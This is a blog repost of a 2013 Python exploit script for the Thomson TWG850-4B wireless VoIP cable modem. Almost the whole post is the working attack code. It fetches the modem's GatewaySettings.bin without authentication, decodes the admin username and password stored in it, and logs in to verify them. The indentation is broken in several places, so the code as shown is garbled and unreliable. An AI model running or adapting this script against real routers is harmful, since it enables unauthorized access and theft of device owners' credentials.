Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86373665

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
###############################################################################
#+-////////////////////////////////////////////////////////////////////////////
#+-
#+- Exploit Title: Thomson Wireless VoIP Cable Modem Arbitrary File Access 
#+- Date: October 22, 2013
#+- Author: 0rwelllabs
#+-
#+- Product: TWG850-4B Wireless VoIP Cable Modem
#+- Software Version: ST9C.05.08
#+- Hardware Version: 2.1
#+- BOOT Revision: 2.1.7i
#+- Standard Specification Compliant: DOCSIS 2.0
#+- Firmware Name: DWG850-4-9C.05.08-110217-S-1FF.bin
#+- Firmware Build Time 19:19:19 Thu Feb 17 2011
#+- Severity: High
#+-
#+-\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
################################################################################



import string
import urllib2
import sys
from time import sleep
import base64
import binascii
import os

save  = 'log_TWG8504B.txt'
log   = open(save,'w')
bifi  = 'GatewaySettings.bin'
refi  = 'RgComputers.asp'
R_C   = ("\033[0;31m")
G_C   = ("\033[1;32m")
D_C   = ("\033[0m"   )


def banner():
os.system('clear')
print "\nThomson Wireless VoIP Cable Modem DWG850 -4B (Software Version:ST9C.05.08)- Arbitrary File Read\n \
        \t- 2013 - O_Orwelllabs\n\n"


def hr_data(filename, min=4):
with open(filename, "rb") as f:
        result = ""
        for c in f.read():
            if c in string.printable:
                result += c
                continue
            if len(result) >= min:
                yield result
print >> log, result
            result = ""
print "(+)- Others Informations Extracted Saved in %s, but you've a Admin Password :D\n"%(save)

def checkcreds(router,username,password):
auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password(realm='Thomson',
                          uri = router,
                          user = username,
                          passwd= password)
opener = urllib2.build_opener(auth_handler)
try:
        urllib2.install_opener(opener)
        status = urllib2.urlopen('%s/%s'%(router,refi))
        print '(+)- [status:%s%s%s] Authenticated successfuly, Enjoy it!'%(G_C,status.code,D_C)

except urllib2.URLError, e:
    if e.code == 401:
        print '(+)- [status:%s%s%s] Invalid Credentials! Try yourself in a browser.'%(R_C,e.code,D_C)

def checkvuln(router):
try:
print '(+)- Checking if target is vulnerable...'
req = urllib2.Request('%s/%s'%(router,bifi))
response = urllib2.urlopen(req)
page = response.read()
x = open(bifi,'wb')
x.write(page)
x.close()
sleep(1)
print '(+)- The target appears to be vulnerable, lets check it better!'
print '(+)- Searching Credentials...'
sleep(1)
for s in hr_data(bifi):
try:
dec = base64.decodestring(s)
if dec.find(':') != -1:
user,passwd = dec.split(':')
print '(+)- User: %s%s%s'%(G_C,user,D_C)
print '(+)- Pass: %s%s%s'%(G_C,passwd,D_C)
print '(+)- Checking if creds are OK...'
checkcreds(router,user,passwd)
except(binascii.Error):
pass
except urllib2.URLError, e:
print '[$] hollyshit! the target is not vuln! o.O (%s%s%s)'%(R_C,e.reason[1],D_C)
sys.exit(1)

if __name__ == "__main__":
banner()
        if len(sys.argv) != 2:
                print '[!] %sRun %s router IP%s\n'%(R_C,sys.argv[0],D_C)
                sys.exit(2)
        router = sys.argv[1]
        if not "http" in router:
                        router = "http://"+(sys.argv[1])
        checkvuln(router)